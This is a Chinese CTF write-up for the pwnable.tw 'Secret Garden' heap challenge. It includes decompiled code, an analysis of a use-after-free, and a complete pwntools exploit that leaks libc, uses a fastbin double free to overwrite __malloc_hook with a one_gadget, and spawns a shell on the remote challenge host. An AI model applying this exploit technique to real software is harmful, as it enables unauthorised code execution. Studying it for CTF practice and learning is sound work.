摘要:from pwn import * # challenge information context(arch='amd64',os='linux',log_level='debug') myelf = ELF("./secretgarden") libc = ELF("./libc_64.so.6") io = process(myelf.path,env={"LD_PRELOAD" : libc.path}) rio = remote("chall.pwnable.tw",10203) # local libc local_libc_64 = ELF("/lib/x86_64-linux-gnu/libc.so.6") local_libc_32 = ELF("/lib/i386-linux-gnu/libc.so.6") # functions for quick script s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda numb=4096 :io.recv(numb) ru = lambda delims :io.recvuntil(delims) # misc functions uu32 = lambda data :u32(data.ljust(4, b'\0')) uu64 = lambda data :u64(data.ljust(8, b'\0')) leak = lambda name,addr :log.success('{} : {:#x}'.format(name, addr)) # one gadget one_gadget_16_04_32 = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6] one_gadget_16_04_64 = [0x45216,0x4526a,0xf02a4,0xf1147] one_gadget_18_04_64 = [0x4f2c5,0x4f322,0x10a38c] # base addr gdb_text_base = int(os.popen("pmap {}| awk ''".format(io.pid)).readlines()[1], 16) gdb_libc_base = int(os.popen("pmap {}| grep libc | awk ''".format(io.pid)).readlines()[0], 16) # debug function def debug(addr=0,cmd='',PIE=True): if PIE: addr = gdb_text_base + addr log.warn("breakpoint_addr --> 0x%x" % addr) gdb.attach(io,"b *{}\nc\n".format(hex(addr))+cmd) add = lambda len,name,color : (sla("choice : ","1"),sla("name :",str(len)),sla("flower :",name),sla("flower :",color)) show = lambda : (sla("choice : ","2")) rm = lambda num : (sla("choice : ","3"),sla("garden:",str(num))) clear = lambda : (sla("choice : ","4")) add(500,"1","1") debug(0x107b,"x /100bx "+hex(gdb_libc_base+libc.symbols['__malloc_hook']-0x50)) add(500,"1","1") io.interactive()。from pwn import * context(arch='amd64',os='linux',log_level='debug') libc = ELF("./libc_64.so.6") io = remote("chall.pwnable.tw",10203) one_gadget = 0xef6c4 sla = lambda delim,data : io.sendlineafter(delim,data) add = lambda len,name,color : (sla("choice : ","1"),sla("name :",str(len)),sla("flower :",name),sla("flower :",color)) show = lambda : (sla("choice : ","2")) rm = lambda num : (sla("choice : ","3"),sla("garden:",str(num))) # use unsorted bin to leak libc add(500,"1","1") add(40,"1","1") add(10,"1","1") rm(1)。

漏洞点是:存在悬空指针,并且可以被使用,即UAF。其使用的方式是可以继续free。

利用方式:本题libc版本为2.23,故可以使用构造FastbinAttack的DoubleFree完成有约束的地址写任意值。题目开启了全部保护,所以首先通过堆排布的手段泄露libc基址。然后通过DoubleFree覆盖libc中的__malloc_hook函数指针为one_gadget,并触发即可getshell。

检查

➜  file secretgarden
secretgarden: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=cc989aba681411cb235a53b6c5004923d557ab6a, stripped
➜  checksec secretgarden 
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

64位,动态链接,去符号表,保护全开

分析

仍然是菜单题目:种花,逛花园,扔了花,清理花园,回家。然后仍然是进行一系列的patch加改名。题目的代码稍微有一点点难看

add

int add()
{
  _QWORD *flower; // rbx
  void *flower_name; // rbp
  _QWORD *v2; // rcx
  signed int v3; // edx
  unsigned int size[9]; // [rsp+4h] [rbp-24h]

  *(_QWORD *)&size[1] = __readfsqword(0x28u);
  size[0] = 0;
  if ( total_num > 0x63u )
    return puts("The garden is overflow");
  flower = malloc(0x28uLL);
  *flower = 0LL;
  flower[1] = 0LL;
  flower[2] = 0LL;
  flower[3] = 0LL;
  flower[4] = 0LL;
  __printf_chk(1LL, "Length of the name :");
  if ( (unsigned int)__isoc99_scanf("%u", size) == -1 )
    exit(-1);
  flower_name = malloc(size[0]);
  if ( !flower_name )
  {
    puts("Alloca error !!");
    exit(-1);
  }
  __printf_chk(1LL, "The name of flower :");
  read(0, flower_name, size[0]);
  flower[1] = flower_name;
  __printf_chk(1LL, "The color of the flower :");
  __isoc99_scanf("%23s", flower + 2);
  *(_DWORD *)flower = 1;
  if ( list[0] )
  {
    v2 = &list[1];
    v3 = 1;
    while ( *v2 )
    {
      ++v3;
      ++v2;
      if ( v3 == 100 )
        goto LABEL_14;
    }
  }
  else
  {
    v3 = 0;
  }
  list[v3] = flower;
LABEL_14:
  ++total_num;
  return puts("Successful !");
}

show

int show()
{
  __int64 v0; // rbx
  __int64 v1; // rax
  __int64 v2; // rcx
  __int64 v3; // rcx

  v0 = 0LL;
  if ( total_num )
  {
    do
    {
      v1 = list[v0];
      if ( v1 && *(_DWORD *)v1 )
      {
        v2 = *(_QWORD *)(v1 + 8);
        __printf_chk(1LL, "Name of the flower[%u] :%s\n");
        v3 = list[v0];
        LODWORD(v1) = __printf_chk(1LL, "Color of the flower[%u] :%s\n");
      }
      ++v0;
    }
    while ( v0 != 100 );
  }
  else
  {
    LODWORD(v1) = puts("No flower in the garden !");
  }
  return v1;
}

del

int del()
{
  int result; // eax
  _DWORD *v1; // rax
  unsigned int v2; // [rsp+4h] [rbp-14h]
  unsigned __int64 v3; // [rsp+8h] [rbp-10h]

  v3 = __readfsqword(0x28u);
  if ( !total_num )
    return puts("No flower in the garden");
  __printf_chk(1LL, "Which flower do you want to remove from the garden:");
  __isoc99_scanf("%d", &v2);
  if ( v2 <= 0x63 && (v1 = (_DWORD *)list[v2]) != 0LL )
  {
    *v1 = 0;
    free(*(void **)(list[v2] + 8LL));
    result = puts("Successful");
  }
  else
  {
    puts("Invalid choice");
    result = 0;
  }
  return result;
}

clear

unsigned __int64 clear()
{
  _QWORD *v0; // rbx
  _DWORD *v1; // rdi
  unsigned __int64 v3; // [rsp+8h] [rbp-20h]

  v3 = __readfsqword(0x28u);
  v0 = list;
  do
  {
    v1 = (_DWORD *)*v0;
    if ( *v0 && !*v1 )
    {
      free(v1);
      *v0 = 0LL;
      --total_num;
    }
    ++v0;
  }
  while ( v0 != &list[100] );
  puts("Done!");
  return __readfsqword(0x28u) ^ v3;
}

数据结构

漏洞点

调试模板

因为程序开启了PIE,所以在调试打断时会有点麻烦,所以设计如下调试模板,参考:

from pwn import *

# challenge information
context(arch='amd64',os='linux',log_level='debug')
myelf  = ELF("./secretgarden")
libc   = ELF("./libc_64.so.6")
io     = process(myelf.path,env={"LD_PRELOAD" : libc.path})
rio    = remote("chall.pwnable.tw",10203) 

# local libc
local_libc_64  = ELF("/lib/x86_64-linux-gnu/libc.so.6")
local_libc_32  = ELF("/lib/i386-linux-gnu/libc.so.6")

# functions for quick script
s       = lambda data               :io.send(data)       
sa      = lambda delim,data         :io.sendafter(delim, data) 
sl      = lambda data               :io.sendline(data) 
sla     = lambda delim,data         :io.sendlineafter(delim, data) 
r       = lambda numb=4096          :io.recv(numb)
ru      = lambda delims             :io.recvuntil(delims)

# misc functions
uu32    = lambda data   :u32(data.ljust(4, b'\0'))
uu64    = lambda data   :u64(data.ljust(8, b'\0'))
leak    = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))

# one gadget
one_gadget_16_04_32 = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]
one_gadget_16_04_64 = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget_18_04_64 = [0x4f2c5,0x4f322,0x10a38c]

# base addr
gdb_text_base = int(os.popen("pmap {}| awk ''".format(io.pid)).readlines()[1], 16)
gdb_libc_base = int(os.popen("pmap {}| grep libc | awk ''".format(io.pid)).readlines()[0], 16)

# debug function
def debug(addr=0,cmd='',PIE=True):
    if PIE: addr = gdb_text_base + addr
    log.warn("breakpoint_addr --> 0x%x" % addr)
    gdb.attach(io,"b *{}\nc\n".format(hex(addr))+cmd) 

add     = lambda len,name,color :  (sla("choice : ","1"),sla("name :",str(len)),sla("flower :",name),sla("flower :",color))
show    = lambda                :  (sla("choice : ","2"))
rm      = lambda num            :  (sla("choice : ","3"),sla("garden:",str(num)))
clear   = lambda                :  (sla("choice : ","4"))

add(500,"1","1")
debug(0x107b,"x /100bx "+hex(gdb_libc_base+libc.symbols['__malloc_hook']-0x50))
add(500,"1","1")
io.interactive()

利用

堆排布泄露libc

修改__malloc_hook

one_gadget利用约束

最终exp

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
libc   = ELF("./libc_64.so.6")
io = remote("chall.pwnable.tw",10203) 
one_gadget = 0xef6c4

sla     = lambda delim,data     :  io.sendlineafter(delim,data)
add     = lambda len,name,color :  (sla("choice : ","1"),sla("name :",str(len)),sla("flower :",name),sla("flower :",color))
show    = lambda                :  (sla("choice : ","2"))
rm      = lambda num            :  (sla("choice : ","3"),sla("garden:",str(num)))

# use unsorted bin to leak libc
add(500,"1","1")
add(40,"1","1")
add(10,"1","1")
rm(1);rm(0)
add(500,"","1")
show();io.recvuntil("flower[3] :")
libc_addr = u64(io.recv(6)+'\x00\x00')-0x3c3b0a
malloc_hook = libc_addr + libc.symbols['__malloc_hook']

# use fastbin double free attack to modify malloc_hook, the fake chunk addr is found by dynamic debug
fake_chunk = malloc_hook-0x23
add(104,'1','1')
add(104,'1','1')
rm(4);rm(5);rm(4)
add(104,p64(fake_chunk),'1')
add(104,'1','1')
add(104,'1','1')
add(104,'a'*19+p64(libc_addr+one_gadget),'1')

# call malloc by using double free error to satisfy one_gadget constraints
rm(8);rm(8)
io.interactive()
相关文章